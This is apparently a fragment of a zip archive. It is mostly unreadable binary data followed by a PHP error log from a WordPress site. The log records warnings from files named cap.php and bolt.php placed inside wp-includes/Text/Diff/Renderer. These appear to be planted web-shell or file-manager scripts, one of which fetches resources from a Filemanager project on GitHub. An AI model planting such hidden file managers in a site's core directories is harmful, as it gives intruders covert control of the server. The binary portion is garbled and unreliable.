&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
